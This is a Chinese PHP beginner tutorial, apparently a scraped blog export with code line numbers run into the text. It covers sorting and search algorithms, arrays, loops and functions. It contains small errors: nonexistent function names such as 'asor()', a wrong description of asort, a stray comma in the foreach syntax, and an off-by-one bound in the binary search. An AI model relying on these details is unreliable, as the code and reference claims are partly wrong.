1234567891011//递归思想//递归一定有函数function recursion($n){ //递归出口 if($n == 1 || $n == 2 ) return 1; //递归点:求N的值,与求N-1的值一模一样,只是N-1的规模比N小 return recursion($n-1)+recursion($n-2);}echo recursion(3); 数组排序算法冒泡排序冒泡排序(Bubble Sort),是一种计算机科学领域的较简单的排序算法.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成. 冒泡排序的算法思路: 比较相邻的元素.如果第一个比第二个大,就交换他们两个. 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对.在这一点,最后的元素应该会是最大的数. 针对所有的元素重复以上的步骤,除了最后一个. 持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较. 123456789101112131415161718192021222324252627282930//数组排序算法:冒泡排序$arr = array(1,4,2,9,7,5,8);//2.想办法让下面可以每次最大值的代码重复执行for($i=0,$len = count($arr);$i<$len;$i++){ //1. 想办法将最大的值放大最右边 for($j = 0; $j < $len - 1-$i;$j++){ //判断:两两相比 if($arr[$j]>$arr[$j+1]){ //左边比右边大:交换 $temp = $arr[$j]; $arr[$j] = $arr[$j+1]; $arr[$j+1] = $temp; } }}echo '<pre>';print_r($arr);结果:Array( [0] => 1 [1] => 2 [2] => 4 [3] => 5 [4] => 7 [5] => 8 [6] => 9) 选择排序选择排序(Selection sort)是一种简单直观的排序算法.它的工作原理是每一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,直到全部待排序的数据元素排完.选择排序是不稳定的排序方法(比如序列[5,5,3]第一次就将第一个[5]与[3]交换,导致第一个5挪动到第二个5后面). 选择排序的算法思路: 假设第一个元素为最小元素,记下下标. 寻找右侧剩余的元素,如果有更小的,重新记下最新的下标. 如果有新的最小的,交换两个元素. 往右重复以上步骤,直到元素本身是最后一个. 123456789101112131415161718192021222324252627282930313233343536//数组排序算法:选择排序$arr = array(1,5,2,9,6,3,4);//1.确定要交换多少次:一次只能找一个最小的,需要找数组长度对应的次数for($i=0,$len=count($arr);$i<$len;$i++){ //2.假设当前第一个已经排好序 $min = $i; //当前第一个数是最小的 //3.拿当前最小的去比较剩余的其他数 for($j=$i+1;$j<$len;$j++){ //4.比较:比较当前元素与选定的最小的元素 if($arr[$j]<$arr[$min]){ //说明当前的$min不合适 $min = $j; } } //5.交换当前选定的值与实际最小的元素值 if($min != $i){ $temp = $arr[$i]; $arr[$i]=$arr[$min]; $arr[$min]=$temp; }}echo '<pre>';print_r($arr);结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 6 [6] => 9) 插入排序插入排序(Insert sort),插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中,从而得到一个新的、个数加一的有序数据,算法适用于少量数据的排序,是稳定的排序方法.插入算法把要排序的数组分成两部分:第一部分包含了这个数组的所有元素,但将最后一个元素除外(让数组多一个空间才有插入的位置),而第二部分就只包含这一个元素(即待插入元素).在第一部分排序完成后,再将这个最后元素插入到已排好序的第一部分中.插入排序的基本思想是:每步将一个待排序的纪录,按其关键码值的大小插入前面已经排序的文件中适当位置上,直到全部插入完为止.插入排序的算法思路: 设置监视哨r[0],将待插入纪录的值赋值给r[0]; 设置开始查找的位置j; 在数组中进行搜索,搜索中将第j个纪录后移,直至r[0].kex>=r[j].key为止; 将r[0]插入r[j+1]的位置上. 认定第一个元素已经排好序; 取出第二个元素,作为待插入数据; 与已经排好序的数组的最右侧元素开始进行比较 如果后面的小于前面的:说明前面已经排好序的那个数组元素不在对的位置(向后移一个),然后让新的元素填充进去(继续向前比:高级) 重复前面的步骤:直到当前元素插入到对位置; 重复以上步骤,直到所有的数组元素都插入到对的位置. 123456789101112131415161718192021222324252627282930313233//数组排序算法:插入排序$arr = array(4,2,6,8,9,5);//1、确定要插入多少回(假设一个数组一次性插入到对的位置,同时第一个位置是假设对的)for($i = 1,$len = count($arr);$i< $len;$i++){ //2、取出当前要插入的元素的值 $temp = $arr[$i]; //3、让该数据与前面已经排好序的数组元素重复比较(挨个比较),直到的位置(交换) for($j =$i - 1;$j >= 0;$j--){ // 4、比较 if($arr[$j] >$temp){ //说明当前要插入的元素,比前面的已经排好序的元素的值要小:交换位置 $arr[$j+1] = $arr[$j]; $arr[$j] = $temp; }else{ //说明当前待插入元素,比前面的元素要大:说明位置正确 break; } }}echo '<pre>';print_r($arr);结果:Array( [0] => 2 [1] => 4 [2] => 5 [3] => 6 [4] => 8 [5] => 9) 快速排序快速排序(Quicksort)是对冒泡排序的一种改进.通过一趟排序将要排序的数据分割成独立的两部分,其中一部分的所有数据都比另外一部分的所有数据都要小,然后再按此方法对这两部分数据分别进行快速排序,整个排序过程可以递归进行,以此达到整个数据变成有序序列.(递归)设要排序的数组是 A[0]……A[N-1],首先任意选取一个数据(通常选用数组的第一个数)作为关键数据,然后将所有比它小的数都放到它前面,所有比它大的数都放到它后面,这个过程称为一趟快速排序.值得注意的是,快速排序不是一种稳定的排序算法,也就是说,多个相同的值的相对位置也许会在算法结束时产生变动快速排序的算法是: 从数组中选出一个元素(通常第一个),作为参照对象. 定义两个数组,将目标数组中剩余的元素与参照元素挨个比较:小的放到一个数组,大的放到另外一个数组. 第二步执行完之后,前后的数组顺序不确定,但是确定了自己的位置. 将得到的小数组按照第1到第3部重复操作(子问题). 回溯最小数组(一个元素). 1234567891011121314151617181920212223242526272829303132333435363738//PHP数组排序:快速排序$arr = array(5,6,3,4,9,2,7,8);//快速排序function quick_sort($arr){ //递归出口 $len = count($arr); if($len <= 1) return $arr; //取出某个元素,然后将剩余的数组元素,分散到两个不同的数组中 $left = $right =array(); for($i=1;$i<$len;$i++){ //第一个元素作为比较元素 //比较:小的放left中,大的放right中 if($arr[$i]<$arr[0]){ $left[]=$arr[$i]; }else{ $right[]=$arr[$i]; } } //$left和$right数组没有排序好:递归点 $left = quick_sort($left); $right = quick_sort($right); //合并三个"数"组 return array_merge($left,(array)$arr[0],$right);}print_r(quick_sort($arr));结果:Array( [0] => 2 [1] => 3 [2] => 4 [3] => 5 [4] => 6 [5] => 7 [6] => 8 [7] => 9) 归并排序归并排序(MERGE-SORT)是建立在归并操作上的一种有效的排序算法,该算法是采用分治法(Divide and Conquer)的一个非常典型的应用.将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序.若将两个有序表合并成一个有序表,称为二路归并 1234567891011121314151617181920212223二路归并实现:$arr1 = array(1,3,5);$arr2 = array(2,4,6);//取出一个空数组用于归并空间$arr3 = array();while(count($arr1)&&count($arr2)){ //只要$arr1和$arr2里面还有元素,就进行循环 //取出每个元组的第一个元素:进行比较 $arr3[] = $arr1[0]<$arr2[0]?array_shift($arr1):array_shift($arr2);}//合并结果print_r(array_merge($arr3,$arr1,$arr2));结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 6) 归并排序的算法是: 将数组拆分成两个数组 重复步骤1将数组拆分成最小单元 申请空间,使其大小为两个已经排序序列之和,该空间用来存放合并后的序列 设定两个指针,最初位置分别为两个已经排序序列的起始位置 比较两个指针所指向的元素,选择相对小的元素放入到合并空间,并移动指针到下一位置 重复步骤3直到某一指针超出序列尾 将另一序列剩下的所有元素直接复制到合并序列尾 123456789101112131415161718192021222324252627282930313233343536$arr=array(4,7,2,1,5,9,3);//归并排序函数function merge_sort($arr){ //递归出口 $len = count($arr); if($len<=1) return $arr; //拆分 $middle = floor($len/2); $left = array_slice($arr,0,$middle); $right = array_slice($arr,$middle); //递归点:$left和$right都没有排好序:而且可能是多个元素的数组 $left = merge_sort($left); $right = merge_sort($right); //假设:左边和右边都已经排好序了 $m = array(); while(count($left)&&count($right)){ //只要$arr1和$arr2里面还有元素,就进行循环 //取出每个元组的第一个元素:进行比较 $m[] = $left[0]<$right[0]?array_shift($left):array_shift($right); } //返回结果 return array_merge($m,$left,$right);}print_r(merge_sort($arr));结果:Array( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 [5] => 7 [6] => 9) 查找算法查找算法含义查找是在大量的信息中寻找一个特定的信息元素,在计算机应用中,查找是常用的基本运算.查找算法是指实现查找过程对应的代码结.就是在大型数组中去快速定位想要的元素. 顺序查找算法顺序查找也称为线形查找,从数据结构线形表的一端开始,顺序扫描,依次将扫描到的结点关键字与给定值k相比较,若相等则表示查找成功;若扫描结束仍没有找到关键字等于k的结点,表示查找失败. 1234567891011121314151617//顺序查找$arr = array(1,3,6,8,23,68,100);//顺序查找:v哦那个数组第一个元素快速,挨个匹配function check_order($arr,$num){ //全部匹配 for($i=0,$len=count($arr);$i<$len;$i++){ //判断 if($arr[$i] == $num){ return $i+1; } } return false;}var_dump(check_order($arr,1));结果:int(1) 二分查找算法二分查找要求线形表中的结点按关键字值升序或降序排列,用给定值k先与中间结点的关键字比较,中间结点把线形表分成两个子表,若相等则查找成功;若不相等,再根据k与该中间结点关键字的比较结果确定下一步查找那个子表,这样递归进行,直到查找到或查找结束发现表中没有这样的结点.折半算法思路: 计算数组长度; 确定左右两边的指针位置; 找到中间位置; 匹配; 然后根据大小重定边界; 12345678910111213141516171819202122232425262728//二分查找算法$arr = array(1,3,6,8,23,68,100);function check_break($arr,$res){ //1.得到数组的边界(长度) $right = count($arr); $left = 0; //2. 循环匹配 while($left<=$right){ //3.得到中间位置 $middle = floor(($right+$left)/2); //4.匹配数据 if($arr[$middle]==$res){ return $middle+1; } //5.没有找到 if($arr[$middle]<$res){ //值在右边 $left=$middle+1; }else{ //值在左边 $right = $middle-1; } } return false;}var_dump(check_break($arr,3));结果:float(2)","tags":["PHP","编程语言"]},{"title":"PHP-从入门到精通(下)","path":"/2023/09/03/39ccd172/","content":"总字符数: 32.99K 代码: 23.98K, 文本: 6.72K 预计阅读时间: 2.22 小时 八、PHP 数组 数组:array,数据的组合,指将一组数据(多个)存储到一个指定的容器中,用变量指向该容器,然后可以通过变量一次性得到该容器中的所有数据. 创建数组在 PHP 中,array()函数用于创建数组 在 PHP 中,有三种类型的数组: 数值数组 - 带有数字 ID 键的数组 关联数组 - 带有指定的键的数组,每个键关联一个值 多维数组 - 包含一个或多个数组的数组 12345678在PHP中系统提供多种定义数组的方式:1. 使用array关键字:最常用的$变量= (array元素1,元素2,元素3..);2. 可以使用中括号来包裹数据:$变量 = [元素1,元素2...];3. 隐形定义数组:给变量增加一个中括号,系统自动变成数组$变量[]=值1; //如果不提供下标也可以,系统自动生成(数字:从0开始)$变量[下标]=值; //中括号里面的内容称之为下标key,该下标可以是字母(单词)或者数字,与变量命名的规则相似 1234567891011121314151617181920<?php // 数值数组 $array_num=array("php","java","python"); $array_num1=array(); $array_num1[0]="php"; $array_num1[1]="java"; $array_num1[2]="python"; var_dump($array_num); echo "</br>"; var_dump($array_num1); echo "</br>"; // 关联数组 $array_key=array("姓名"=>"张三","成绩"=>100,"班级"=>"2班"); $array_key1=array(); $array_key1["姓名"]="张三"; $array_num1["成绩"]=100; $array_num1["班级"]="2班"; var_dump($array_key); echo "</br>"; var_dump($array_key1); 多维数组多维数组是包含一个或多个数组的数组. 在多维数组中,主数组中的每一个元素也可以是一个数组,子数组中的每一个元素也可以是一个数组. 数组的维度指示您需要选择元素的索引数. 对于二维数组,您需要两个索引来选取元素 对于三维数组,您需要三个索引来选取元素 在第二维度的数组元素中可以继续是数组,在PHP中没有维度限制(PHP本质并没有二维数组),但是不建议使用超过三维以上的数组,会增加访问的复杂度,降低访问效率. 两维数组两维数组是数组的数组(三维数组是数组的数组的数组). 姓名 年龄 性别 php 30 男 Bob 17 女 Tony 21 男 wink 15 女 如下将上表中的数据存储到两维数组中: 1234567891011121314151617<?php\t// 多维数组 $user = array ( array("php",30,"男"), array("Bob",15,"女"), array("Tony",5,"男"), array("Wink",17,"女") ); /* * 现在这个两维数组包含了四个数组,并且它有两个索引(下标):行和列. * 如需访问 $user 数组中的元素,我们必须使用两个索引(行和列): */ echo $user[0][0].":年龄 :".$user[0][1].", 性别:".$user[0][2].".<br>"; echo $user[1][0].":年龄 :".$user[1][1].", 性别:".$user[1][2].".<br>"; echo $user[2][0].":年龄 :".$user[2][1].", 性别:".$user[2][2].".<br>"; echo $user[3][0].":年龄 :".$user[3][1].", 性别:".$user[3][2].".<br>"; 数组的常用操作12345678910111213141516171819202122232425262728293031323334353637<?php $fruits = array('apple', 'banana', 'orange'); // 添加新元素到数组开头 array_unshift($fruits,"tomato"); print_r($fruits); echo "</br>"; // 添加新元素到数组末尾 $fruits[]="peach"; print_r($fruits); echo "</br>"; // 合并两个数组 $fruits2 = array('blueberry', 'grape'); print_r(array_merge($fruits,$fruits2)); echo "</br>"; // 反转数组 print_r(array_reverse($fruits)); echo "</br>"; // 获取数组中的所有键名或所有值 print_r(array_keys($fruits)); echo "</br>"; print_r(array_values($fruits)); echo "</br>"; // 检查一个值是否在数组中,并返回对应的键名 echo "根据值搜索键名:".array_search("grape",$fruits2); echo "</br>"; // 修改数组元素值 $fruits2[1]="apricot"; print_r("修改数组元素值:".$fruits2); echo "</br>"; // 检查数组中是否存在某个元素 var_dump("检查数组中是否存在某个元素:".in_array("apple",$fruits)); echo "</br>"; // 获取数组的长度(元素个数) echo "数组长度:".count($fruits); echo "</br>"; // 检查数组是否为空 var_dump(empty($fruits)); PHP数组特点 可以整数下标或者字符串下标 不同下标可以混合存在 数组元素的顺序以放入顺序为准,跟下标无关 数字下标的自增长性 从0开始自动增长,如果中间手动下标出现较大的,那么后面的自增长元素从最大的值+1开始 特殊值下标的自动转换 布尔值 true false 空 null PHP中数组元素没有类型限制 PHP中数组元素没有长度限制 PHP中的数组是很大的数据,所以存储位置是堆区,为当前数组分配一块连续的内存. 12345<?php $arr1[false]=false; $arr1[true]=true; $arr1[null]=null; var_dump($arr1); 数组遍历 数组遍历:普通数组数据的访问都是通过数组元素的下标来实现访问,如果说数组中所有的数据都需要依次输出出来,就需要我们使用到一些简化的规则来实现自动获取下标以及输出数组元素. 1234567$arr = array(0=>array('name'=>'Tom'),1=>array('name'=>'Jim')); //二维数组// 访问一维元素:$arr[一维下标]$arr[0]; //结果:array('name'=>'Tom');//访问二维元素:$arr[一维下标][二维下标]$arr[1]['name'];//结果:Jim foreach遍历原理 foreach遍历的原理:本质是数组的内部有一颗指针,默认是指向数组元素的第一个元素,foreach就是利用指针去获取数据,同时移动指针. 1234567foreach($arr, as $k => $v){ //循环体}# 1.foreach会重置指针:让指针指向第一个元素;# 2.进入foreach循环:通过指针取得当前第一个元素,然后将下标取出放到对应的下标变量$k中(如果存在),将值取出来放到对应的值变量$v中;(指针下移)# 3.进入到循环内部(循环体),开始执行;# 4.重复2和3,直到在2的时候遇到指针取不到内容(指针指向数组最后) 遍历语法1234567891011121314151617181920<?php/*基本语法:foreach(数组变量 as [$下标=>] $值){}通常:如果是关联数组(字母下标),就需要下标,如果是数字下标就直接访问值在进行数据存储定义的时候,通常二维数组不会两个维度的key下标都为数字,一般是一维为数字(无意义),二维为字符串(数据库表字段),所以在进行遍历的时候,通常是只需要针对一维进行遍历,取得二维数组元素,然后二维数组元素通过下标去访问.*/$arr = ['a' => 'aaa', 'b' => 'bbb', 'c' => 'ccc'];// 使用 foreach 遍历数组,并将键名赋值给 $key,键值赋值给 $valueforeach ($arr as $key => $value) { echo $key . '<br/>'; // 输出当前的键名}echo "--------";echo "</br>";// 使用 foreach 遍历数组,只获取键值部分,赋值给 $valforeach ($arr as $val) { echo $val . '<br/>'; // 输出当前的键值} for循环遍历数组 for循环:基于已知边界条件(起始和结束)然后有条件的变化(规律)因此:for循环遍历数组有对应条件 获取数组长度:count(数组)得到数组元素的长度 要求数组元素的下标是规律的数字 12345678$arr = array(1, 2, 3, 4, 5, 6, 7, 10);// 获取数组的长度(元素个数)$len = count($arr);// 使用 for 循环从数组的第一个元素开始遍历到最后一个元素for ($i = 0; $i < $len; $i++) { // 输出当前的键(下标) $i,以及对应的值 $arr[$i] echo 'key is :', $i, ' and value is :', $arr[$i], '</br>';} 数组排序函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263641. 排序函数:对数组元素进行排序,都是安装ASCII码进行比较,可以进行英文比较sort():顺序排序(下标重排)asort():升序排序(对键排序)rsort():逆序排序asor():顺序排序(下标保留)arsort():逆序排序ksort():顺序排序:按照键名(下标)krsort():逆序排序shuffle():随机打乱数组元素,数组下标会重排2. 指针函数reset():重置指针,将数组指针回到首位end():重置指针,将数组指针指到最后一个元素next():指针下移,取得下一个元素的值prev():指针上移,取得上一个元素的值current():获取当前指针对应的元素值key():获取当前指针对应的下标值注意事项:next和prev会移动指针,有可能导致指针移到最前或者最后(离开数组),导致数组不能使用,不能通过next和prev不能回到正确的位置.只能通过end或者reset进行指针重置3. 其他函数count():统计数组中元素的数量array_push():往数组中加入一个元素(数组后面)array_pop():从数组中取出一个元素(数组后面)array_shift():从数组中取出一个元素(数组前面)array_unshift():从数组中加入一个元素(数组前面)PHP模拟数据结构:栈:压栈,先进去后出来(FILO)//数据结构:栈和队列$arr = array();//栈:先压栈后出栈:都是从一端出来//前面:array_shift/array_unshift//后面:array_push/array_pop//压栈array_push($arr,3);array_push($arr,2);array_push($arr,1);print_r($arr);//出栈echo array_pop($arr),array_pop($arr),array_pop($arr);结果:Array( [0] => 3 [1] => 2 [2] => 1)123队列:排队,先进去的先出去(FIFO)//队列:先排队,先出来,一端进,另外一端出//后进前出:array_push/array_shift//前进后出:array_unshift/array_pop$arr = array();//入队array_unshift($arr,3);array_unshift($arr,2);array_unshift($arr,1);print_r($arr);//出队echo array_pop($arr),array_pop($arr),array_pop($arr);arcray_reverse():数组元素反过来in_array():判断一个元素在数组中是否存在array_keys():获取一个数组的所有下标,返回一个索引数组array_values():获取一个数组的所有值,返回一个索引数组 九、PHP 循环在日常编写代码时,经常需要让相同的代码块一次又一次地重复运行.我们可以在代码中使用循环语句来完成这个任务. 在 PHP 中,提供了下列循环语句: while - 只要指定的条件成立,则循环执行代码块 do…while - 首先执行一次代码块,然后在指定的条件成立时重复这个循环 for - 循环执行代码块指定的次数 foreach - 根据数组中每个元素来循环代码块 while 循环while 循环将重复执行代码块,直到指定的条件不成立 12345条件初始化;while(条件表达式){ //条件表达式就是判断边界条件 循环体;//循环条件的变化} 123456<?php $i = 1; // 初始化变量$i为1 while ($i <= 5) { // 当$i小于等于5时执行循环 echo "num is " . $i . "<br>"; // 输出当前的$i值 $i++; // 增加$i的值,以便进行下一次循环 } do…while 语句 do-while:看着很像while,while首先进行条件判定然后执行循环体,有可能出现第一次就条件不满足,那么就会直接失败(循环体一次都不执行). do-while就是先干了再说(先执行循环体).后判断条件(至少会执行一次循环体) 123do{ 循环体;}while(条件表达式); 123456<?php $i=1; do{ $i++; echo "num " . $i . "<br>"; }while ($i<=5); for 循环for 循环用于您预先知道脚本需要运行的次数的情况 123456for(初始值;条件;增量){ //初始值:定义初始化条件,可以有多种赋值语句存在,使用逗号分隔即可 //条件:边界判定,限定循环执行的次数 //增量:用来执行条件变化 //循环体} 参数: 初始值:主要是初始化一个变量值,用于设置一个计数器(但可以是任何在循环的开始被执行一次的代码). 条件:循环执行的限制条件.如果为 TRUE,则循环继续.如果为 FALSE,则循环结束. 增量:主要用于递增计数器(但可以是任何在循环的结束被执行的代码). 上面的初始值和增量参数可为空,或者有多个表达式(用逗号分隔). 12345<?php for ($i=1; $i<=5; $i++) { echo "num is " . $i . "<br>"; } foreach 循环foreach 循环用于遍历数组,我们在数组那一章讲了 循环控制 中断控制和终止控制是用于控制程序流程的重要工具. 中断控制: 中断控制是指在程序执行过程中,根据某些条件或事件的发生,提前跳出当前代码块或循环,并转移到事先定义好的处理逻辑.中断控制可以帮助我们及时处理特定的情况,提高程序的灵活性和健壮性. 常见的中断控制包括使用break关键字来中断循环或跳出代码块.break语句可以用于终止当前的循环结构(例如for、while、do-while)或switch语句. 终止控制: 终止控制是指在程序执行过程中,根据某些条件或事件的发生,立即终止整个程序的执行.通常情况下,终止控制被视为异常情况的处理方式,用于在程序出现严重错误或无法继续执行时停止程序的运行. 在PHP中,我们可以使用exit或die函数来实现终止控制.这两个函数可以立即终止当前脚本的执行,并返回一个指定的退出码.它们还可以输出一条可选的终止消息. 在编写代码时,需要注意以下几点: 中断控制通常用于在满足特定条件时跳出循环或代码块,提前结束当前的执行流程. 终止控制应该谨慎使用,只在程序无法继续执行或出现严重错误的情况下才使用.过度使用终止控制可能会导致程序 结构混乱或在调试时难以追踪问题. 123456789101112131415161718<?php // continue用于跳过当前循环中剩余的代码,并继续下一次循环的执行.\t// continue的使用场景通常是在循环结构内部,用于满足某些条件时跳过当前迭代并进入下一次迭代.当程序执行到continue语句时,它会立即跳过当前循环体内后续的代码,然后返回至循环结构的开始处,检查循环条件并决定是否进入下一次循环. $i = 1;\t// 初始化变量$i为1 while ($i <= 100) { // 在 $i 小于等于 100 的条件下循环执行以下代码块 // 判断: 是否是 5 的倍数 if ($i % 5 != 0) { // 若 $i 不是 5 的倍数 $i++; // 增加 $i 的值,继续下一次循环 // 重新循环 continue; // 系统重新跳到循环开始处 } // 输出数值 echo $i++, '<br/> '; // 输出当前 $i 的值,并增加 $i 的值,显示换行标签 <br/>} 12345678910111213141516171819<?php // break用于中断循环结构的执行,并跳出当前循环 // break的使用场景通常是在循环结构内部,当满足某些条件时提前结束整个循环.当程序执行到break语句时,它会立即退出当前的循环体,并继续执行循环后面的代码. // 需要注意的是,break语句只能中断离它最近的循环结构.也就是说,break语句只会中断包含它的最内层循环,不会影响外层的循环. $i = 1; while ($i <= 100) { // 判断: 是否是5的倍数 if ($i % 5 != 0) { // 说明当前$i不是5的倍数 $i++; // 输出当前的$i值,并且将$i自增1 // 终止循环 break; } } echo $i; // 为什么结果是2呢? /* Continue 2;//当前自己循环后面内部不再执行,同时外部循环如果还有循环体也不再执行,重新来过; Break 2;//当前自己循环结束,同时外部也结束(如果还有外部(第三层)不受影响,继续执行) */ 流程控制替代语法 流程控制替代语法:分支和循环结构的替代语法 PHP本身是嵌入到HTML中的脚本语言,需要在HTML中书写一些关于判断或者循环的结构语法,必须符合PHP标签规范,需要 HTML与 PHP进行混搭,如果使用原始的PHP代码那么会非常不美观. 1234567891011121314151617181920212223242526<table border=1> <?php for($i = 1;$i < 10;$i++){?> <tr> <?php for($j = 1;$j < $i;$j++){?> <td> <?php echo $j .'*' .$i . '= ' .$i*$j;?> </td> <?php }?> </tr> <?php } ?></table>// 在PHP书写到HTML中的这些大括号}非常不美观,所以PHP提供了一种替代机制,让其可以不用书写大括号:for(;;){ => for(;;):} =>endfor;如下:<table border=1> <?php for($i = 1;$i < 10;$i++):?> <tr> <?php for($j = 1;$j < $i;$j++):?> <td> <?php echo $j .'*' .$i . '= ' .$i*$j;?> </td> <?php endfor;?> </tr> <?php endfor; ?></table> 十、PHP 函数 ​\tPHP函数是一段封装了特定功能的可重复使用的代码块.它们可以接受参数并返回值,用于执行特定任务或实现特定操作.函数的使用可以大大提高代码的可读性、重用性和维护性. ​\t在PHP中,你可以使用内置的函数,也可以自定义函数来满足特定的需求.内置函数如strlen()用于获取字符串长度,array_push()用于向数组末尾添加元素等等.通过自定义函数,你可以根据具体需求编写自己的函数,并在需要的时候调用它们. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091以下是PHP的内置函数,用于检测变量的数据类型,以及它们的语法、用法及相关注释的举例:1. is_array() //判断变量是否为数组// 语法bool is_array(mixed $var) // 用法$var = array('apple', 'orange', 'banana');echo is_array($var) ? 'Array' : 'Not an Array'; // 输出:Array2. is_bool() //判断变量是否为布尔值// 语法bool is_bool(mixed $var)// 用法$var = false;echo is_bool($var) ? 'Boolean' : 'Not a Boolean'; // 输出:Boolean3. is_float() //判断变量是否为浮点数// 语法bool is_float(mixed $var)// 用法$var = 1.234;echo is_float($var) ? 'Float' : 'Not a Float'; // 输出:Float4. is_int() //判断变量是否为整数// 语法bool is_int(mixed $var)// 用法$var = 3;echo is_int($var) ? 'Integer' : 'Not an Integer'; // 输出:Integer5. is_null() //判断变量是否为NULL// 语法bool is_null(mixed $var)// 用法$var = null;echo is_null($var) ? 'NULL' : 'Not NULL'; // 输出:NULL6. is_numeric() //判断变量是否为数字或者数字字符串// 语法bool is_numeric(mixed $var)// 用法$var = '123';echo is_numeric($var) ? 'Numeric' : 'Not Numeric'; // 输出:Numeric7. is_object() //判断变量是否为对象// 语法bool is_object(mixed $var)// 用法$var = new stdClass;echo is_object($var) ? 'Object' : 'Not an Object'; // 输出:Object8. is_resource() //判断变量是否为资源类型// 语法bool is_resource(mixed $var)// 用法$var = fopen("text.txt", "r");echo is_resource($var) ? 'Resource' : 'Not a Resource'; // 输出:Resource9. is_string() //判断变量是否为字符串// 语法bool is_string(mixed $var)// 用法$var = "Hello World!";echo is_string($var) ? 'String' : 'Not a String'; // 输出:String// 注: 如果直接打印结果,成功显示为1,失败则不打印任何内容 ​\t使用函数可以将复杂的任务分解为更小的可管理单元,使代码更加模块化.这使得代码更易于理解、调试和修改.此外,PHP还提供了许多有用的内置函数和函数库,以便更方便地处理各种任务,如字符串处理、文件操作、数据库连接等. ​\t为了使用函数,你需要先定义函数并指定函数名、参数列表和函数体.函数名应具有描述性,能够清楚地表达函数的功能.参数列表定义了函数接受的输入,而函数体则包含了要执行的代码.当需要使用函数时,只需调用函数并传递所需的参数即可. 创建 PHP 函数123456<?php\t// function 定义函数的关键字 function functionName([参数]){ //[参数]可有可无 //函数体 //返回值: return结果; } 函数命名规范: 函数名不区分大小写 函数名使用英文,遵循规范 下划线不属于特殊符号 数字可以加在中间或者后面 不用特殊符号 命名的时候要有意义 遵循驼峰或者下划线 不能使用系统函数以及关键字作为函数名 如下创建一个输出一句话的函数: 123456<?php\tfunction echo_test() { echo "PHP study hard !! "; } echo_test(); 输出结果: 1PHP study hard !! 函数 - 添加参数 ​\t在PHP函数中,添加参数是指在函数定义时声明函数所需的输入.参数允许你向函数传递数据,使函数能够处理不同的输入并产生相应的输出. ​\t在函数定义中,你可以指定零个或多个参数,每个参数由参数名和参数类型组成.参数名是用来在函数内部引用输入值的变量名,而参数类型则决定了该参数接受的数据类型. 1234567891011121314151617181920<?php\tfunction name($names) { echo $names . "<br>"; } echo "My name is ".name("php"); echo "My sister's name is ".name("Bob"); echo "My brother's name is ".name("Tony"); echo "-------------------</br>"; // 指定类型的参数 function type_name(string $type_names){ var_dump($type_names); echo "</br>"; echo $type_names. "</br>"; } echo "My name is ".type_name("php"); echo "My sister's name is ".type_name(100); // 函数会自动强制帮我们转换成string类型 echo "My brother's name is ".type_name("Tony"); 1234567891011121314151617181920212223<?php\t// 参数默认值 /* * PHP 中的函数参数默认值允许你在函数定义中为参数指定一个默认的数值或者字符串. * 这意味着如果函数在调用时没有为该参数提供值,那么将会使用默认值作为参数的值. * 参数默认值的设置使得函数更加灵活,因为你不需要每次都为每个参数提供值. * 使用参数默认值非常简单,只需要在函数定义中为参数赋予默认值即可 * */ /* * 如果你为函数的参数设置默认值,则所有没有默认值的参数必须位于有默认值的参数之前. * 这是由 PHP 语法规则所决定的. * 这个限制存在的原因是为了确保代码的可读性和可预测性. * 当函数的参数有默认值时,调用函数时可以省略这些参数. * 如果允许将拥有默认值的参数放在第一个位置,那么在省略其他参数时,很难确定哪些参数被省略了 * 从而导致代码不易阅读和理解. * */ function greet($name,$age=100) { echo "Hello, " . $name.",年龄:".$age; } greet("Guest"); // 输出: Hello, Guest,年龄:100 greet("John",10); // 输出: Hello, John,年龄:10 函数返回值 ​\t函数返回值是指函数执行完成后,将结果返回给调用者的值. ​\t以下是一段介绍 PHP 函数中函数返回值的内容: ​\tPHP 中的函数返回值允许你从函数中获取一个结果,并将该结果传递给调用函数的代码.使用函数返回值可以使函数更加灵活和实用,因为你可以利用函数的返回值来进行进一步的操作、处理和判断. ​\t要在 PHP 中使函数返回一个值,你可以使用 return 语句.在函数的代码块中,当需要返回值时,可以使用 return 关键字后跟要返回的值 1234567891011121314151617181920212223242526<?php // 返回值只有1个 // 定义一个名为 calculateSum 的函数,接受两个参数 $num1 和 $num2 function calculateSum($num1, $num2) { return $num1 + $num2; // 返回两个参数的和 } // 调用 calculateSum 函数,传入参数 5 和 3,并将结果赋值给 $result 变量 $result = calculateSum(5, 3); // 输出结果: 8,并在输出后添加 HTML 换行标签 echo $result."</br>"; // 返回值有多个 可以将这些值封装到数组或对象中,然后将该数组或对象作为函数的返回值. // 定义一个名为 getPersonInfo 的函数,返回一个包含个人信息的数组 function getPersonInfo(): array { $name = "John"; // 声明并赋值变量 $name,存储名字 "John" $age = 25; // 声明并赋值变量 $age,存储年龄 25 $occupation = "Developer"; // 声明并赋值变量 $occupation,存储职业 "Developer" return array($name, $age, $occupation); // 返回一个包含个人信息的数组 } $info = getPersonInfo(); // 调用 getPersonInfo 函数,并将返回的数组赋值给变量 $info echo $info[0]."</br>"; // 输出数组 $info 的第一个元素,即名字 "John" echo $info[1]."</br>"; // 输出数组 $info 的第二个元素,即年龄 25 echo $info[2]."</br>"; // 输出数组 $info 的第三个元素,即职业 "Developer" 回调函数在PHP中,回调函数是一种可以作为参数传递给其他函数的函数.回调函数在函数内部被调用,允许在特定的时候执行自定义的代码逻辑.使用回调函数可以实现更灵活、可扩展的代码结构. 为什么使用回调函数?使用回调函数的主要目的是将某些代码逻辑作为参数传递给其他函数,以便在特定的时候执行.这样做的好处包括: 提供了解耦的方式:回调函数将代码逻辑与主函数分离,使得代码更易于理解和维护. 增强了代码的灵活性:通过动态设置回调函数,可以根据需要改变函数的行为. 实现了代码的复用:可以将相同的回调函数应用于多个函数调用,避免了重复编写相似的代码. 如何使用回调函数?使用回调函数需要注意以下几点: 